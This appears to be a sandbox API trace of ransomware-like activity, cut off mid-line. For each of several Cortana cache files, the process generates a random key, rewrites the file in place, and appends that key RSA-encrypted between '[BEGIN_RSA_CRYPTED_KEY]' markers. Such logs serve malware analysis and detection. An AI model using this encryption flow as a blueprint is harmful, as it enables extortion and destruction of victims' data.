WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.843] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.843] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.843] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="O9eBYwNWYKZJRx/2IqA8g2HkkSegROaqV/4nyMOn9XlhD03fhdDtuPxWA9TGJz6q\nHNx5dFHL66W7augqeQeUbfKTPG2j0Ue1jWQJZdd6hzb+bVzmm/ZhmwLZflJuEYdo\nGbKNG9IXkvyXrNMRha6wYQukM61ROQLQyn48EKvJEw2Zp0xLf/SrMPAuHr2SHcDe\npmauWf5ti5BF9uP7OLAajJL1rfyQT976s1NfpFx+NTX+ylx75D1rW1UIT/2JeKpx\nDZc+RjXWyd14vSQGjqOuQ5qUvQEO0r7dp4GwaXa0ng59KyQgWXtWivtLmbqZk3GU\nw9NYEFLY5nbRK+IRt2AWRw==\n", pcchString=0x2e3f9a8) returned 1 [0247.843] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.843] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.843] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.843] CloseHandle (hObject=0x1afc) returned 1 [0247.845] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}", dwFileAttributes=0x80) returned 1 [0247.846] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4A8A0B51-D1CB-4B42-A15C-6A3F7956552D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4a8a0b51-d1cb-4b42-a15c-6a3f7956552d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.846] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.846] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.848] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.848] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.849] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.849] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="af60xVl+0tAR0bXv5UBu4VvMT97SEhKpcJRAS5N7f8Y8O3Nkiz2Au4HjhAd9DY19\nXeWHq/yqGl7j3gXByP+PlGrqL9yJYPI3uYeZPtPc8q1fZbLNqCzkSgY0ckM4bemp\nsAJWhkVUYeiUDu73tYmkv71MckKSrV8U/5At7qE9JkxHo9xSOhsa9qHwpzhBlMz3\nHgmiGlRHP/y9fZND6ciO+OvHF4lGaBvzKjqYAhKgExc1o78ii78t2D3YcJ3xcdUD\naGCsv9h7zMhPJ2H1mWluCjF9VSbzz407KpLXTkGya5FLvm8CCFLHn3Q0uhJKHV0k\nZfpPzRZ+QP1aZuJW5grqiQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.849] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.849] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.849] CloseHandle (hObject=0x1afc) returned 1 [0247.851] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.851] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3DB05D28-F3C3-449E-B7A6-31F664B2660E}", dwFileAttributes=0x80) returned 1 [0247.852] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3DB05D28-F3C3-449E-B7A6-31F664B2660E}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3db05d28-f3c3-449e-b7a6-31f664b2660e}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.852] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.852] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.854] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.854] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.854] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.854] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.854] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.854] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.855] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qA5G8BfiGW3rGPHy2ChiC905Vt5cpsAg0HSqDpKA2ElM1aoSTt/zXev82Gj0WvDN\nbQrKFHnnxvrIfYtaLNPylTVgckQCgUDrcq6t8Dp2zte0r9NDL5ud6DgPf33hpbht\np0tilXJQTvcEPboTy+fDn6oBprBNviUjtWE+MhwVO5tPUYq5UUUI4dBkkHVOuqwj\n/f9fVIptU1b99/WTE2uNYnwAHrwDg0BhYU9jL08oocB0k9rquziDQufeLY6nnJKp\nSQcIiHkCdSEjjOwHjUbmiDUUyDGN/331Htys6rgLSRNaBGMZdIU/S6oPLwZUfBXP\nEa8Zri4CjSsio9zZenptNQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.855] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.855] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.855] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.855] CloseHandle (hObject=0x1afc) returned 1 [0247.857] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.857] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}", dwFileAttributes=0x80) returned 1 [0247.857] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3ce017fd-e6da-4e49-a4d3-f69a0e563d90}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.858] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.858] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.859] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.859] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.859] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.859] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.859] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.859] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.859] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.860] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.860] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xig5/5mPNtNDFviiFJZ0/HNv++4fWV0LmMroXtkA06FCyI7yZ4w8FRK+PTBtyzrH\nG7C7zKQrf4StBCV+cvXuMez5IUNezJhg76zHK3YpXT/qMlt6jx0kbvs/PDLhESNE\nK5xE22LNcIY2Nmt1WCCiK+b8fNTms+crNw1oejBPghFxeinuHojV3Ri4LcM7RTHk\nfphNQCg1RiZDIhtbu8sTbxdxEqJDNRXVZZ81MOJGOrFt1osRdexRsom4ByfCeqHF\neh950QaueMWflKr47zU0F4YyEKx+9z8mCPl54f0vEhaNmhyS+mZa0gIGm8Q3gDDc\ngSJ6nHuNSmwlGh7LdYHBFw==\n", pcchString=0x2e3f9a8) returned 1 [0247.860] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.860] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.860] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.860] CloseHandle (hObject=0x1afc) returned 1 [0247.861] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.862] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3C789AEE-6106-4384-B319-0C96E1E71678}", dwFileAttributes=0x80) returned 1 [0247.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3C789AEE-6106-4384-B319-0C96E1E71678}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3c789aee-6106-4384-b319-0c96e1e71678}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.863] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.863] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.908] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.908] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.908] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.908] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.908] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NL23nIZRNbbjVlqkJHs4iNGBM9HwtpSFQa0XanVXTKNVMzvgWiC6XYsN38+9Zzw0\nYJ6YGIR5IMkd9O46xyoH7OTCA4UZ+kBMDbgoJJHLkf3pBeBwxtjLsozTdDyafrWw\nSYzCgiYN392ObnxEHILJw/lAOCKU+wBOvpPJnb16jkXoH1VhxFGzDzfhTcTAFl/J\n5gh4IkRwhFsd3WS7SBlWeA9Zki6aqy2mK+T2gwznfYACv8fxKuGqD6sOG3WP8zOB\ns2S1KWsOBF3tOSJXIxZru2Ot3CXq7JMxEz6nYmHjp9WcZN6RRPa2NjoMl2XM99/S\nMSic4mXYGs8un+IUIY8xhw==\n", pcchString=0x2e3f9a8) returned 1 [0247.909] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.909] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.909] CloseHandle (hObject=0x1afc) returned 1 [0247.910] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.910] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{33305276-2049-4128-AEEC-B9A21214B851}", dwFileAttributes=0x80) returned 1 [0247.911] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{33305276-2049-4128-AEEC-B9A21214B851}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{33305276-2049-4128-aeec-b9a21214b851}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.911] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.911] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.913] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.913] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.913] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.913] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.913] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.913] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.913] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.913] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.913] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1CxxxTpDLZh5oFdOZlsxGIPsdOjg7r8/09eJGpzolR1dsZqOiTw1VLcqVIvmHvPx\nIWoNWDKPDNtHpPcY8mJMP+G8Fxhx/Q5NRa5BocYGLRP0Yq5E97THGkzzY4AScawq\nFF6bKw/RU2iFSWrjj3lNCJChcUEvxPVa97Up7O65V7ZKDkZ6qlOed6Sj1AgzPtyc\n7h96z6mT+LxJIpmIR6fYXjaOnId6ptuhJmkQ+8FK1GRB2Bk770EzcmBLPVIsJDgp\nljpGUxm+7qrvuoQtgBeEcBBllvCgwOQDVc2kgBy3RblknEAjqYF8cZZ+Hp/5UDS1\n3h7HeKQXIhdGQSrydy2kqw==\n", pcchString=0x2e3f9a8) returned 1 [0247.914] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.914] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.914] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.914] CloseHandle (hObject=0x1afc) returned 1 [0247.917] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2E978839-21C5-49A6-AD08-F9DAFC903070}", dwFileAttributes=0x80) returned 1 [0247.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2E978839-21C5-49A6-AD08-F9DAFC903070}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2e978839-21c5-49a6-ad08-f9dafc903070}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.918] GetFileSizeEx (in: 